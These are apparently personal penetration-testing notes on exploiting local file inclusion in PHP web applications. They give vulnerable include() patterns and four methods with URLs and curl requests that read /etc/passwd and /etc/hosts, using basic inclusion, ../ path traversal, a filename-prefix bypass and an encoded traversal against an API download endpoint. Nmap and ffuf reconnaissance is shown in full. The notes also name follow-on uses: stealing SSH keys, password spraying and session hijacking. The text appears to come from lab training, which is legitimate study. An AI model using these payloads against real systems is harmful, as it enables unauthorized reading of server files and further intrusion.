DISCOVERY

#basic configuration
include($_GET['language']);

 * output
    - {targetSite:port}/index.php?language=/etc/passwd

#appended/prepended string
include("./languages/" . $_GET['language']);

 * output
    - {targetSite:port}/index.php?language=./languages//etc/passwd
       - an error will occur (if allowed to be displayed)
       
#filename prefix
include("lang_" . $_GET['language']);

 * output
    - {targetSite:port}/index.php?language=lang_../../../etc/passwd
       - this produces an error (if allowed to be displayed)
       
#appended extension
include($_GET['language'] . ".php");

 * this can lead to attackers reading any php file (e.g. index.php) through LFI, 
    - source code, etc.

METHOD 1: BASIC

this method will work if the back-end programming doesn't append/prepended string. if web developers append or prepend a string to the back-end programming, the basic method won't work

root@oco:~$ BROWSER > {targetSite:port}
 Language: {english | spanish}

root@oco:~$ BROWSER > {targetSite:port}/index.php?language=es.php

#identify whether LFI vulnerability exist
root@oco:~$ BROWSER > {targetSite:port}/index.php?language=/etc/passwd
 root:x:0:0:root:/root:/bin/bash
 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
 ...
 
 * method 1 will work if the back-end is configured similar to below
    - include($_GET['language']);

 * the two common readable files that are available on most back-end servers are
   /etc/passwd on Linux and C:\Windows\boot.ini on Windows

METHOD 2: PATH/DIRECTORY TRAVERSAL

this method will work if web developers appended or prepended a string to the back-end programming. directory traversal could potentially allow attackers to do any of the following:

  • Read /etc/passwd and potentially find SSH Keys or know valid user names for a password spray attack

  • Find other services on the box such as Tomcat and read the tomcat-users.xml file

  • Discover valid PHP Session Cookies and perform session hijacking

  • Read current web application configuration and source code

root@oco:~$ BROWSER > {targetSite:port}
 Language: {english | spanish}
 
root@oco:~$ BROWSER > {targetSite:port}/index.php?language=es.php

#identify whether LFI vulnerability exist
root@oco:~$ BROWSER > {targetSite:port}/index.php?language=/etc/passwd

 * if an error gets displayed and nothing seems to work... it may mean that the
   back-end configuration has appending/prepending configured such as
   include("./languages/" . $_GET['language']);
    - in cases like these, use path traversal to bypass this restriction
    
root@oco:~$ BROWSER > {targetSite:port}/index.php?language=../../../../etc/passwd
 root:x:0:0:root:/root:/bin/bash
 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
 ...
 
 * method 2 will work if the back-end is configured similar to below
    - include("./languages/" . $_GET['language']);
 
 * this trick would work even if the entire parameter was used in the include() 
   function. if you aren't sure of the directory the web application is in, you can
   add ../ as many times as necessary, and it should not break the path 
   (even if we do it a hundred times!).
    - however, adding unnecessary ../ is not recommended because it can clutter
      the output when writing a report or writing an exploit. as best practice,
      always try to find the minimum number of ../ that works and use it

METHOD 3: FILENAME PREFIX

root@oco:~$ BROWSER > {targetSite:port}
 Language: {english | spanish}
 
root@oco:~$ BROWSER > {targetSite:port}/index.php?language=es.php

#identify whether LFI vulnerability exist
root@oco:~$ BROWSER > {targetSite:port}/index.php?language=/etc/passwd

 * if an error gets displayed and nothing seems to work... it may mean that the
   back-end configuration has filename prefix configured such as
   include("lang_" . $_GET['language']);
    - to circumvent this, prefix a / before the payload ../../../../etc/passwd
    
root@oco:~$ BROWSER > {targetSite:port}/index.php?language=/../../../etc/passwd
 root:x:0:0:root:/root:/bin/bash
 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
 ...
 
 * method 3 will work if the back-end is configured similar to below
    - include("lang_" . $_GET['language']);
 
 * this may not always work as the directory may not not exist, so the relative path may not be correct.
   also, any prefix appended to the user input may break some file inclusion techniques

METHOD 4: API

root@oco:~$ sudo nmap -sV -sC -T4 10.129.202.133 -p-
 PORT     STATE SERVICE VERSION
 3000/tcp open  http    Node.js Express framework
 |_http-title: Site doesn't have a title.
 3001/tcp open  http    PHP cli server 5.5 or later
 |_http-title: Login
 3002/tcp open  http    Node.js Express framework
 |_http-title: Site doesn't have a title.
 3003/tcp open  http    PHP cli server 5.5 or later (PHP 7.4.3)
 
root@oco:~$ sudo nmap --script=vuln -T4 10.129.202.133 -p 3000-3003
 PORT     STATE SERVICE
 3000/tcp open  ppp
 3001/tcp open  nessus
 3002/tcp open  exlm-agent
 3003/tcp open  cgms
 
root@oco:~$ find / -iname directory-list*
 /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
 
root@oco:~$ cp /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt .
root@oco:~$ ffuf -w directory-list-2.3-small.txt:FUZZ -u http://{targetSite.tld}:{port}/FUZZ -t 100 -ic
 api                     [Status: 200, Size: 15, Words: 1, Lines: 1, Duration: 14ms]
 API                     [Status: 200, Size: 15, Words: 1, Lines: 1, Duration: 9ms]

 * -w specifies the wordlist
 * -u specifies the url
 * -t increases the number of threads
 * -ic removes commented lines from the file
    - ignore wordlist comments (default: false)
    
root@oco:~$ curl http://10.129.202.133:3000/api
 {"status":"UP"}
 
 * try this on Kibana
 
#perform API endpoint fuzzing common-api-endpoints-mazen160.txt list
root@oco:~$ find / -iname common-api* 2>/dev/null
 /usr/share/seclists/Discovery/Web-Content/common-api-endpoints-mazen160.txt

root@oco:~$ cp /usr/share/seclists/Discovery/Web-Content/common-api-endpoints-mazen160.txt .
root@oco:~$ ffuf -w common-api-endpoints-mazen160.txt -u 'http://{targetSite:port}/api/FUZZ' -t 100 -ic
 download                [Status: 200, Size: 71, Words: 5, Lines: 1, Duration: 27ms]

root@oco:~$ curl http://10.129.202.133:3000/api/download
 {"success":false,"error":"Input the filename via /download/<filename>"}
#test whether the target is vulnerable to LFI
root@oco:~$ curl "http://{targetSite:port}/api/download/..%2f..%2f..%2f..%2fetc%2fhosts"
 127.0.0.1 localhost
 127.0.1.1 nix01-websvc

 # The following lines are desirable for IPv6 capable hosts
 ::1     ip6-localhost ip6-loopback
 fe00::0 ip6-localnet
 ff00::0 ip6-mcastprefix
 ff02::1 ip6-allnodes
 ff02::2 ip6-allrouters

APPENDED EXTENSIONS

...research later

SECOND-ORDER ATTACKS

...research later

Last updated